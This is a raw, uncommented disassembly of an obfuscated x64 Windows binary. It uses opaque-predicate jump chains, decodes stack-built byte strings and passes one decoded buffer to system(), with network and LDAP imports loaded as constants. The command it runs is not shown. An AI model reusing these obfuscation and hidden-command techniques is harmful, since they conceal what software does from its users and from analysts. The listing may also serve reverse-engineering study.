lea r10d, [rbx + r11]
sub r10b, 0x20
inc rdi
jmp 0x1400d9673
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x64
jmp 0x1400d9f6d
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d9bad
lea edx, [r11 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d9a70
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9be3
add r11b, 0x34
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
sub r10b, 0x6c
inc rdi
jmp 0x1400d9673
inc rax
cmp r8, rax
jne 0x1400d9c07
sub r11b, 0x68
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x28
jmp 0x1400d9ed5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d9c2a
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x1400d9fcd
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d9c5c
sub r11b, 0x10
mov ecx, Ordinal_60
movzx eax, r11b
inc r9
and al, bl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d9673
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d9a70
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4c
jmp 0x1400d9f6d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9cab
lea edx, [r11 - 0x32]
mov ecx, Ordinal_50
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d9f6d
inc rax
cmp r8, rax
jne 0x1400d9cd4
sub r11b, 0x6a
movzx eax, bl
and al, r11b
dec rdi
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x1a
inc rdi
jmp 0x1400d9673
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d9cf8
sub r11b, 0x3e
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x4e
jmp 0x1400da00b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d9d1f
lea edx, [r11 + 0x26]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0xa
add r10b, dl
jmp 0x1400d9eaa
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d99ff
sub r11b, 0x12
movzx eax, bl
and al, r11b
mov ecx, 0x3f
sub cl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x1400d9673
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9d97
add r11b, 0x68
movzx eax, bl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x1400d9673
inc rax
cmp r8, rax
jne 0x1400d9dbd
lea edx, [r11 + 0x30]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x1400d9eaa
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d9de1
sub r11b, 0x6c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0xc
jmp 0x1400da00b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d9e0a
sub r11b, 8
mov ecx, Ordinal_30
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400da008
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d9a32
add r11b, 0x24
mov ecx, 2
movzx eax, bl
inc r9
and al, r11b
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x1400d9673
mov byte [rbp + rdi + 0x100], r10b
inc rdi
jmp 0x1400d9673
lea edx, [r11 + 0x50]
movzx ecx, bl
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx*2 - 0x30]
add r10b, dl
jmp 0x1400d9fcd
lea edx, [r11 - 0x4c]
mov ecx, 0xa
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400d9eaa
add r11b, 0x1e
mov ecx, reloc.WS2_32.dll_socket
jmp 0x1400da02d
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
add r11b, 0x66
movzx eax, bl
and al, r11b
inc r9
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x100], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
inc r8
mov ecx, Ordinal_45
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x100], cl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9673
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x26
jmp 0x1400d9fcd
sub r11b, 0x3a
dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x6a
inc rdi
jmp 0x1400d9673
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, bl
sub r11b, 0x62
and al, r11b
add al, al
sub bl, al
sub bl, 0x52
add bl, r11b
mov byte [rbp + rdi + 0x100], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d9673
add r11b, 0x6e
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 2
dec rdi
inc rdi
jmp 0x1400d9673
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
movzx eax, bl
add r11b, 2
and al, r11b
add al, al
sub bl, al
sub bl, 0xe
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x100], bl
jmp 0x1400da008
sub r11b, 0x5a
mov ecx, Ordinal_60
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d9673
add r11b, 0x16
mov ecx, 0x33
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9673
add r11b, 0x7a
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x56
jmp 0x1400d9670
add r11b, 0x16
mov ecx, 0x33
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400d9660
lea rcx, [rbp + 0x16b5898]
jmp 0x1400da0a9
lea rcx, [rbp + 0xa7814a]
jmp 0x1400da0a9
lea rcx, [rbp + 0x100]
call fcn.140048e00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r10d, byte [rbp + 0x250]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 0x1f], rax
movups xmmword [rbp - 0x2f], xmm0
mov word [rbp - 0x17], ax
mov byte [rbp - 0x15], al
mov dword [rbp - 0x40], 0x37372533
mov dword [rbp - 0x3c], 0x252d3a24
mov dword [rbp - 0x38], 0x732c6674
mov dword [rbp - 0x34], 0x6f7e2d63
mov byte [rbp - 0x30], 0x5c
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rdi, r14
cmp rdi, 0x2c
jae 0x1400dac86
movzx ebx, byte [rbp + rdi - 0x40]
movzx r11d, dil
cmp r8, rdi
ja 0x1400dac7d
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400da150
lea r10d, [r11 + 0x4a]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 6
add r10b, bl
jmp 0x1400da197
je 0x1400dac13
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dab9a
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400dab6a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dab4e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dab16
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400daadb
cmp r9, rdi
ja 0x1400dac74
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400da1c1
lea r10d, [r11 + 0x12]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x7e
add r10b, bl
jmp 0x1400da200
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400daabf
inc rax
cmp r8, rax
je 0x1400daa96
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400daa76
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400daa57
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400da785
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400da766
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400da73d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400da717
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400da6f8
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400da6d5
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400da6b5
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400da696
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400da676
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400da648
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400da210
lea r8, [r9 + 0x80]
lea r9, [r8 + 9]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400dac58
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400dac3d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400da3fd
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400da3e2
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400da3c7
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400da5fc
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400da5b4
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400da57a
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400da556
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400da210
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400da528
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400da508
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400da4e9
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400da4c9
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400da4a6
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400da487
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400da461
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400da438
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400da418
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400da210
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x40]
jmp 0x1400da210
lea r10d, [r11 + 0x2e]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x42
add r10b, bl
jmp 0x1400da200
lea r10d, [r11 - 0x66]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x36
add r10b, bl
jmp 0x1400da197
lea r10d, [r11 + 6]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x2a
add r10b, bl
jmp 0x1400da126
lea ecx, [r11 - 0x70]
movzx eax, bl
and al, cl
mov r10d, 8
sub r10b, al
add r10b, r10b
add r10b, bl
add r10b, cl
jmp 0x1400daaf0
sub r11b, 4
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, r11b
inc r9
and al, bl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
add r11b, 0x68
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dab2b
add r11b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
add r8, r9
jmp 0x1400dab81
sub r11b, 0x54
mov ecx, Ordinal_41
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dab81
lea edx, [r11 + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dabaf
sub r11b, 0x7c
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dabd7
sub r11b, 0x10
mov ecx, Ordinal_60
movzx eax, r11b
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
add r11b, 0x7e
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x72
mov byte [rbp + rdi - 0x40], r10b
inc rdi
jmp 0x1400da113
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x66
cmp r9, 0x7a
jb 0x1400da56d
lea ecx, [r11 + 0x7c]
mov edx, reloc.WS2_32.dll_ntohl
movzx eax, cl
and al, bl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
jmp 0x1400daaf0
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
cmp r8, 8
jae 0x1400daa23
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400da955
lea edx, [r11 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400da58f
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400daa41
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400da882
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6e
jmp 0x1400da5c9
add r11b, 0x6c
mov ecx, 6
movzx eax, r11b
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
sub r11b, 0x28
mov ecx, ntohl
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dabd7
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dabaf
sub r11b, 0x50
mov ecx, Ordinal_26
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dab81
add r11b, 0x1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
add r8, r9
jmp 0x1400dab81
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dab2b
sub r11b, 0xc
mov ecx, Ordinal_45
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
add r11b, 0x60
mov ecx, Ordinal_50
movzx eax, r11b
inc r9
and al, bl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
lea edx, [r11 - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400daaf0
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400da7a8
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 6
jmp 0x1400da611
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400da7df
add r11b, 0x24
mov ecx, 2
movzx eax, r11b
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da802
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x14
jmp 0x1400dabaf
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400da825
lea ecx, [r11 + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x1400dab2b
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400da850
sub r11b, 0x64
dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x44
inc rdi
jmp 0x1400da113
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400da611
add r11b, 0x30
inc r9
movzx eax, r11b
dec rdi
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x50
inc rdi
jmp 0x1400da113
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400da8a5
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7a
jmp 0x1400daaf0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da8d4
add r11b, 0x5e
mov ecx, gethostname
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400da900
sub r11b, 0x7a
mov ecx, Ordinal_45
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
add r8, r9
jmp 0x1400dab81
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400da928
lea edx, [r11 - 0x52]
mov ecx, Ordinal_35
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dabaf
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400da5c9
add r11b, 0x42
mov ecx, Ordinal_26
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dabd7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400da98c
add r11b, 0x48
mov ecx, 4
movzx eax, r11b
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
inc rax
cmp r8, rax
jne 0x1400da9ae
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x1400dabaf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da9d1
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x34
jmp 0x1400dab2b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400da9fc
sub r11b, 0x40
dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x40
inc rdi
jmp 0x1400da113
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400da58f
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x58
jmp 0x1400daaf0
lea edx, [r11 + 0x10]
movzx ecx, bl
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx*2 - 0x70]
add r10b, dl
jmp 0x1400dab2b
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rcx - 0x7c]
jmp 0x1400dabaf
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dabaf
sub r11b, 0x76
mov ecx, Ordinal_30
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dab81
add r11b, 0x3a
mov ecx, gethostname
movzx eax, r11b
inc r9
and al, bl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400da113
lea edx, [r11 - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400daaf0
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x72
movzx eax, bl
sub r11b, 0x3a
and al, r11b
add al, al
sub bl, al
sub bl, 0x6a
add bl, r11b
mov byte [rbp + rdi - 0x40], bl
inc r9
dec rdi
inc rdi
jmp 0x1400da113
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
add r11b, 0x5a
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x76
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi - 0x40], r11b
add r8, r9
jmp 0x1400dab81
add r11b, 0x2e
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x42
add r8, r9
jmp 0x1400dab81
sub r11b, 0x66
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x36
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400da113
lea ecx, [r11 + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2a
sub r11b, 0x12
inc r9
movzx eax, r11b
mov ecx, 0x3f
and al, bl
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x40], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
inc r8
movzx eax, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x40], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da113
sub r11b, 0x22
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x12
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da113
add r11b, 0x72
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x1e
jmp 0x1400da110
sub r11b, 0x22
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x12
jmp 0x1400da100
lea rcx, [rbp + 0x1791178]
jmp 0x1400dac8a
lea rcx, [rbp + 0x10fb9c2]
jmp 0x1400dac8a
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx edx, byte [rbp + 0x250]
xor eax, eax
mov qword [rbp + 0xe7], rax
mov dword [rbp + 0xef], eax
mov byte [rbp + 0xf3], al
mov dword [rbp + 0x90], 0xcfcdcacb
mov dword [rbp + 0x94], 0xd2f8cadd
mov dword [rbp + 0x98], 0xf4eaebe1
mov dword [rbp + 0x9c], 0xd6e9d9ec
mov dword [rbp + 0xa0], 0xd2d2ddd0
mov dword [rbp + 0xa4], 0xd3c3f0d6
mov dword [rbp + 0xa8], 0xddd9e4ca
mov dword [rbp + 0xac], 0xc3c5c7d6
mov dword [rbp + 0xb0], 0xcddffdd2
mov dword [rbp + 0xb4], 0xf6d3d0d9
mov dword [rbp + 0xb8], 0xd7cadac1
mov dword [rbp + 0xbc], 0x282918de
mov dword [rbp + 0xc0], 0x28322230
mov dword [rbp + 0xc4], 0x7283033
mov dword [rbp + 0xc8], 0x39273935
mov dword [rbp + 0xcc], 0x26293e34
mov dword [rbp + 0xd0], 0x3d261e24
mov dword [rbp + 0xd4], 0x30312f23
mov dword [rbp + 0xd8], 0x37291432
mov dword [rbp + 0xdc], 0x1b122e35
mov dword [rbp + 0xe0], 0x8120809
mov word [rbp + 0xe4], 0x161e
mov byte [rbp + 0xe6], 0xec
nop dword [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rbx, r14
cmp rbx, 0x64
jae 0x1400db89f
movzx r11d, byte [rbp + rbx + 0x90]
movzx r10d, bl
nop word [rax + rax]
cmp r8, rbx
ja 0x1400db896
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400dadf8
lea edx, [r10 - 0x2d]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x3b
add dl, r11b
jmp 0x1400dae40
je 0x1400db828
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400db7a8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400db776
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400db754
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400db72f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400db6ed
nop
cmp r9, rbx
ja 0x1400db88d
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400dae6b
lea edx, [r10 + 0x4f]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x29
add dl, r11b
jmp 0x1400daea0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400db6d6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400db6ba
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400db69e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400db684
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400db359
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400db33c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400db317
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400db2f1
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400db2d7
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400db2b7
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400db29b
lea rcx, [r9 + 0x200]
cmp r8, rcx
je 0x1400db27e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400db262
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400daeb0
lea r9, [rcx + 0x3e8]
mov r8, rcx
lea rax, [r9 + 0x400]
